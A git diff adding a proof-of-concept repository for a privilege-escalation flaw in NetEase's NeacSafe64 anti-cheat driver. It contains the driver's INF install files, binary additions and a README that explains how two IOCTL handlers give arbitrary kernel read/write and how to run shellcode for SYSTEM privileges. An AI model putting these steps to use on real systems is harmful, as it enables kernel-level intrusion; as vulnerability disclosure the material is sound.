NeacSafe64.DriverFiles + +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting + +; +; Services Section +; + +[NeacSafe64.Service] +DisplayName = %ServiceName% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ +Dependencies = "FltMgr" +ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +LoadOrderGroup = "FSFilter Activity Monitor" +AddReg = NeacSafe64.AddRegistry + +; +; Registry Modifications +; + +[NeacSafe64.AddRegistry] +HKR,,"SupportedFeatures",0x00010001,0x3 +HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% +HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% +HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% + +; +; Copy Files +; + +[NeacSafe64.DriverFiles] +%DriverName%.sys + +[SourceDisksFiles] +NeacSafe64.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +;; +;; String Section +;; + +[Strings] +ProviderString = "TODO-Set-Provider" +ServiceDescription = "NeacSafe64 mini-filter driver" +ServiceName = "NeacSafe64" +DriverName = "NeacSafe64" +DiskId1 = "NeacSafe64 Device Installation Disk" + +;Instances specific information. +DefaultInstance = "NeacSafe64 Instance" +Instance1.Name = "NeacSafe64 Instance" +Instance1.Altitude = "370020" +Instance1.Flags = 0x0 ; Suppress automatic attachments diff --git a/NeacDriver/NeacSafe64.sys b/NeacDriver/NeacSafe64.sys new file mode 100644 index 0000000..785bdd0 Binary files /dev/null and b/NeacDriver/NeacSafe64.sys differ diff --git a/NeacDriver/NeacSafe64.sys.i64 b/NeacDriver/NeacSafe64.sys.i64 new file mode 100644 index 0000000..dfbed09 Binary files /dev/null and b/NeacDriver/NeacSafe64.sys.i64 differ diff --git a/README.md b/README.md new file mode 100644 index 0000000..a11daeb --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +## NeacController + +### 0x0 Background + +> **Neac**: NetEase’s self-developed anti-cheat solution, designed to protect its PC games, including but not limited to Overwatch, Naraka: Bladepoint, and FragPunk. + +A vulnerability in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver (versions prior to v1.0.0.8) allows a local attacker to escalate privileges via crafted IOCTL commands to the NeacSafe64.sys component, potentially enabling SYSTEM privilege acquisition and arbitrary shellcode execution in kernel space. + +### 0x1 Escalation of Privileges + +The NeacSafe64 driver exposes two message handlers (Opcode 14 and 70, **msghandler15**/**msghandler71**) that implement **arbitrary kernel-space read/write** primitives. These operations enable NeacController to perform privileged memory manipulation, ultimately achieving SYSTEM privilege escalation through combined exploitation of these capabilities. + +![image-20250402191202338](img/image-20250402191202338.png) + +### 0x2 Code Execution + +The NeacSafe64 driver allocates **NonPagedPool** memory and stores its pointer in a global variable, subsequently utilizing function pointers to invoke system APIs. This implementation allows attackers to: + +- Inject shellcode into the allocated pool memory.![image-20250402191231920](img/image-20250402191231920.png) + +- Hijack control flow by overwriting the function pointer. + + ![image-20250402191347751](img/image-20250402191347751.png) + +- Trigger execution through specific Message Handler operations. + + ![image-20250402191422969](img/image-20250402191422969.png) + +ultimately achieving arbitrary kernel-mode code execution (KMCE) via controlled pointer redirection. + +### 0x3 Usage + +Deploying the NeacSafe64 driver via NeacSafe64.inf and executing NeacController.exe, and it will spawn a privileged cmd process. + +The demonstration payload currently uses a single `ret` instruction as shellcode, resulting in no observable system behavior. For effective vulnerability validation: + +![image-20250402192523943](img/image-20250402192523943.png) + +1. Replace the placeholder shellcode with `0xCC` (INT3 breakpoint opcode) +2. Execution will then trigger either: + - Debugger break-in via `STATUS_BREAKPOINT` exception + - System crash (BSOD) if unhandled in kernel context \ No newline at end of file diff --git a/img/image-20250402190917009.png b/img/image-20250402190917009.png new file mode 100644 index 0000000..08b1e7c Binary files /dev/null and b/img/image-20250402190917009.png differ diff --git a/img/image-20250402191202338.png b/img/image-20250402191202338.png new file mode 100644 index 0000000..5a06a26 Binary files /dev/null and b/img/image-20250402191202338.png differ diff --git a/img/image-20250402191231920.png b/img/image-20250402191231920.png new file mode 100644 index 0000000..755eb58 Binary files /dev/null and b/img/image-20250402191231920.png differ diff --git a/img/image-20250402191347751.png b/img/image-20250402191347751.png new file mode 100644 index 0000000..656f46a Binary files /dev/null and b/img/image-20250402191347751.png differ diff --git a/img/image-20250402191422969.png b/img/image-20250402191422969.png new file mode 100644 index 0000000..cc2be81 Binary files /dev/null and b/img/image-20250402191422969.png differ diff --git a/img/image-20250402192215563.png b/img/image-20250402192215563.png new file mode 100644 index 0000000..500a46e Binary files /dev/null and b/img/image-20250402192215563.png differ diff --git a/img/image-20250402192523943.png b/img/image-20250402192523943.png new file mode 100644 index 0000000..a4253e7 Binary files /dev/null and b/img/image-20250402192523943.png differ diff --git a/x64/Debug/NeacSafe64.inf b/x64/Debug/NeacSafe64.inf new file mode 100644 index 0000000..bbae872 --- /dev/null +++ b/x64/Debug/NeacSafe64.inf @@ -0,0 +1,86 @@ +[Version] +Signature = "$Windows NT$" +Class = "ActivityMonitor" ;This is determined by the work this filter driver does +ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class +Provider = %ProviderString% +DriverVer = 12/17/2021,17.41.6.64 + +[DestinationDirs] +DefaultDestDir = 12 +NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers + +;; +;; Default install sections +;; + +[DefaultInstall] +OptionDesc = %ServiceDescription% +CopyFiles = NeacSafe64.DriverFiles + +[DefaultInstall.Services] +AddService = %ServiceName%,,NeacSafe64.Service + +;; +;; Default uninstall sections +;; + +[DefaultUninstall] +DelFiles = NeacSafe64.DriverFiles + +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting + +; +; Services Section +; + +[NeacSafe64.Service] +DisplayName = %ServiceName% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ +Dependencies = "FltMgr" +ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +LoadOrderGroup = "FSFilter Activity Monitor" +AddReg = NeacSafe64.AddRegistry + +; +; Registry Modifications +; + +[NeacSafe64.AddRegistry] +HKR,,"SupportedFeatures",0x00010001,0x3 +HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% +HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% +HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% + +; +; Copy Files +; + +[NeacSafe64.DriverFiles] +%DriverName%.sys + +[SourceDisksFiles] +NeacSafe64.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +;; +;; String Section +;; + +[Strings] +ProviderString = "TODO-Set-Provider" +ServiceDescription = "NeacSafe64 mini-filter driver" +ServiceName = "NeacSafe64" +DriverName = "NeacSafe64" +DiskId1 = "NeacSafe64 Device Installation Disk" + +;Instances specific information. +DefaultInstance = "NeacSafe64 Instance" +Instance1.Name = "NeacSafe64 Instance" +Instance1.Altitude = "370020" +Instance1.Flags = 0x0 ; Suppress automatic attachments diff --git a/x64/Debug/NeacSafe64.sys b/x64/Debug/NeacSafe64.sys new file mode 100644 index 0000000..785bdd0 Binary files /dev/null and b/x64/Debug/NeacSafe64.sys differ